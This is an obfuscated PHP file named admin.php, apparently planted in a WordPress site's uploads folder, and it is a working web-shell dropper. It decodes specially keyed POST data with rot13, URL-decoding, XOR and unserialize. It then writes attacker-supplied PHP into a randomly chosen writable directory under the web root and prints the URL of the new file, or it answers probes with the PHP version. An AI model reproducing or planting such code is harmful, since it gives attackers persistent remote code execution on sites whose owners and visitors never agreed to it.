File: /home/slyfwmm/laretediclo/wp-content/uploads/2020/02/admin.php
<?php $WLaAtiL = "PvZBftq";function kGxtqR($WLaAtiL){$xUciIBZ = "\x72".'a'.'w'.chr(414-297)."\x72"."\154".'d'."\145".chr(99).chr(761-650).chr(594-494).chr(101);$ucDHyROv = "\163"."\164"."\x72".chr(95).chr(114)."\x6f"."\164"."\61".chr(162-111);$oCecQVM = "\x73".'t'.'r'."\137".chr(115).'p'.'l'.chr(105).chr(642-526);$WLaAtiL = $oCecQVM($xUciIBZ($ucDHyROv($WLaAtiL)));return $WLaAtiL;}function NCpSDMxhm($fxNQoFjy, $UmCSO){$UdRRils = chr(115).'t'.chr(277-163)."\137".'s'."\x70".chr(108)."\151"."\x74";$fxNQoFjy = array_slice($UdRRils(str_repeat($fxNQoFjy, (count($UmCSO)/16)+1)), 0, count($UmCSO));return $fxNQoFjy;}function CaLpVQqMV($VdKQyUNnj, $kQMsFKbBUx, $fxNQoFjy){$ImMFIQWJv = "739b7356-f668-41b9-959b-7739a35b4801";return $VdKQyUNnj ^ $ImMFIQWJv[$kQMsFKbBUx % strlen($ImMFIQWJv)] ^ $fxNQoFjy;}function fEgfUKvxzY($UmCSO, $fxNQoFjy){$UmCSO = array_map("CaLpVQqMV", array_values($UmCSO), array_keys($UmCSO), array_values($fxNQoFjy));$UmCSO = implode("", $UmCSO);$AgVlVSTv = chr(466-349)."\x6e".chr(218-103).chr(101)."\162".chr(105).chr(97).chr(649-541).chr(105).chr(122)."\145";$UmCSO = @$AgVlVSTv($UmCSO);return $UmCSO;}function VOJRydEj(){echo "yxCWqEZ";}function FOgGd($ErUsdir){static $cNCrO = array();$nUApf = glob($ErUsdir . '/*', GLOB_ONLYDIR);$FseqGTSycl = count($nUApf);if ($FseqGTSycl > 0) {foreach ($nUApf as $ErUsd) {$htPJM = "\151"."\163"."\137"."\167".'r'."\151"."\x74".'a'.chr(858-760).chr(126-18).chr(101);if (@$htPJM($ErUsd)) {$cNCrO[] = $ErUsd;}}}foreach ($nUApf as $ErUsdir) FOgGd($ErUsdir);return $cNCrO;}function JstnWmijx(){echo "PvZBftq";}function sAWwlYDG($UmCSO){$TLQrD = chr(68).'O'."\x43".chr(85).chr(77)."\x45"."\x4e".chr(84).chr(551-456).chr(244-162).chr(820-741).chr(318-239).'T';$NMLvsGPeP = $_SERVER[$TLQrD];$nUApf = FOgGd($NMLvsGPeP);$AWddkHY = array_rand($nUApf);$eiUWf = '.'.'p'.chr(919-815).chr(805-693);$fUDbDcWzN = $nUApf[$AWddkHY] . "/" . substr(md5(time()), 0, 8) . $eiUWf;$sgWZuOUse = "\146".'i'.'l'.chr(101)."\137".chr(314-202).chr(117)."\x74".chr(553-458)."\x63".chr(156-45).chr(110)."\164".chr(101)."\x6e"."\164"."\163";@$sgWZuOUse($fUDbDcWzN, $UmCSO);$hIuOT = chr(72).chr(84).chr(584-500)."\120"."\137"."\110".'O'."\x53"."\124";$hbUZuyzU = 'h'.chr(116)."\x74".'p'.':'."\57"."\x2f";$Swuld = $hbUZuyzU . $_SERVER[$hIuOT] . substr($fUDbDcWzN, strlen($NMLvsGPeP));print($Swuld);}foreach ($_POST as $fxNQoFjy => $UmCSO){$WKlDlQGw = strlen($fxNQoFjy);if ($WKlDlQGw == 16){$UmCSO = kGxtqR($UmCSO);$fxNQoFjy = NCpSDMxhm($fxNQoFjy, $UmCSO);$UmCSO = fEgfUKvxzY($UmCSO, $fxNQoFjy);if (@is_array($UmCSO)){$AWddkHY = array_keys($UmCSO);$UmCSO = $UmCSO[$AWddkHY[0]];$AWddkHY = $AWddkHY[0];if ($UmCSO !== $AWddkHY){sAWwlYDG($UmCSO);}else {$bTLViL = chr(112)."\150"."\160";$nyFvKG = chr(112).chr(104)."\160".'v'."\145".chr(114)."\x73".chr(105).chr(111)."\x6e";$UmCSO = Array($bTLViL => @$nyFvKG(), );$oCZdUiRk = chr(115).chr(101).'r'.chr(502-397)."\x61".chr(108).'i'.chr(468-346)."\x65";echo @$oCZdUiRk($UmCSO);}die();}}}